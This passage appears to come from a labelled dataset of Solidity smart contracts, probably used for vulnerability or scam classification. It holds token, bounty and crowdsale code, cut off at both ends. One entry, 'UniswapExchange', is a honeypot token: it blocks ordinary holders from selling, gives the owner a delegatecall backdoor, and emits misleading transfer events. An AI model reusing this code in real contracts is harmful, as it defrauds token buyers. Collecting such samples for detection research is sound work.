require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,344 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,245 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract LamdenTau is MintableToken {
string public constant name = "Lamden Tau";
string public constant symbol = "TAU";
uint8 public constant decimals = 18;
}
contract Bounty is Ownable {
LamdenTau public lamdenTau;
function Bounty(address _tokenContractAddress) public {
require(_tokenContractAddress != address(0));
lamdenTau = LamdenTau(_tokenContractAddress);
}
function returnTokens() onlyOwner {
uint256 balance = lamdenTau.balanceOf(this);
lamdenTau.transfer(msg.sender, balance);
}
function issueTokens() onlyOwner {
lamdenTau.transfer(0xC89A8574F18A8c0A8cde61de7E5b965451A53512, 250000000000000000000);
lamdenTau.transfer(0x855382E202d3DCaDfda10f62969b38DcEe558270, 750000000000000000000);
lamdenTau.transfer(0x5fAcAaDD40AE912Dccf963096BCb530c413839EE, 750000000000000000000);
lamdenTau.transfer(0x85c40DB007BABA70d45559D259F8732E5909eBAB, 750000000000000000000);
lamdenTau.transfer(0xa2ed565D1177360C41181E9F4dB17d6c0100fD5c, 250000000000000000000);
lamdenTau.transfer(0xa2ed565D1177360C41181E9F4dB17d6c0100fD5c, 250000000000000000000);
lamdenTau.transfer(0xcBa9A3AC842C203eAAA4C7Cb455CFf50cEe30581, 250000000000000000000);
lamdenTau.transfer(0x87c90d805144e25672b314F2C7367a394AFf2F2B, 250000000000000000000);
lamdenTau.transfer(0xD399E4f178D269DbdaD44948FdEE157Ca574E286, 500000000000000000000);
lamdenTau.transfer(0x478A431b1644FdC254637d171Fa5663A739f8eF2, 500000000000000000000);
lamdenTau.transfer(0x5F53C937FD1cc13c75B12Db84F61cbE58A4a255e, 250000000000000000000);
lamdenTau.transfer(0x7fDf4D7a476934e348FC1C9efa912F3D7C07a80A, 250000000000000000000);
lamdenTau.transfer(0xe47BBeAc8F268d7126082D5574B6f027f95AF5FB, 500000000000000000000);
lamdenTau.transfer(0x5c582DE6968264f1865C63DD72f0904bE8e3dA4a, 250000000000000000000);
lamdenTau.transfer(0x0c49d7f01E51FCC23FBFd175beDD6A571b29B27A, 250000000000000000000);
lamdenTau.transfer(0x8ab7D4C2AA578D927F1FB8EF839001886731442E, 250000000000000000000);
lamdenTau.transfer(0x58D0ba8C8aAD2c1946cf246B6F6455F80f645C8D, 250000000000000000000);
lamdenTau.transfer(0xDb159732aEEBc8aB3E26fA19d2d144e4eACAAca2, 250000000000000000000);
lamdenTau.transfer(0x7c3AeD95e0dC23E6Af5D58d108B9c18F44Da598C, 250000000000000000000);
lamdenTau.transfer(0x9ca23235728ce9eF5bc879A9Abb68aF3a003551C, 250000000000000000000);
lamdenTau.transfer(0xb81e0b4fcC4D54A2558214cb45da58b7a223C47C, 250000000000000000000);
lamdenTau.transfer(0x58D0ba8C8aAD2c1946cf246B6F6455F80f645C8D, 250000000000000000000);
lamdenTau.transfer(0xbDF7c509Db3bB8609730b3306E3C795173a4aEfc, 250000000000000000000);
uint256 balance = lamdenTau.balanceOf(this);
lamdenTau.transfer(msg.sender, balance);
}
} | 1 | 4,212 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 0;
uint8 public constant TOKEN_DECIMALS_UINT8 = 0;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Point Value Bonus Token";
string public constant TOKEN_SYMBOL = "PVBT";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x5e0c441b6Df595D6F5431EF806a9E9fe714b090C;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x5e0c441b6df595d6f5431ef806a9e9fe714b090c)];
uint[1] memory amounts = [uint(1000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,260 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint tokensSold, uint weiRaised, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
using SafeMath for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
minimumFundingGoal = _minimumFundingGoal;
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
}
function() external payable {
investInternal(msg.sender, 0);
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function getTokensSold() public constant returns (uint) {
return tokensSold;
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
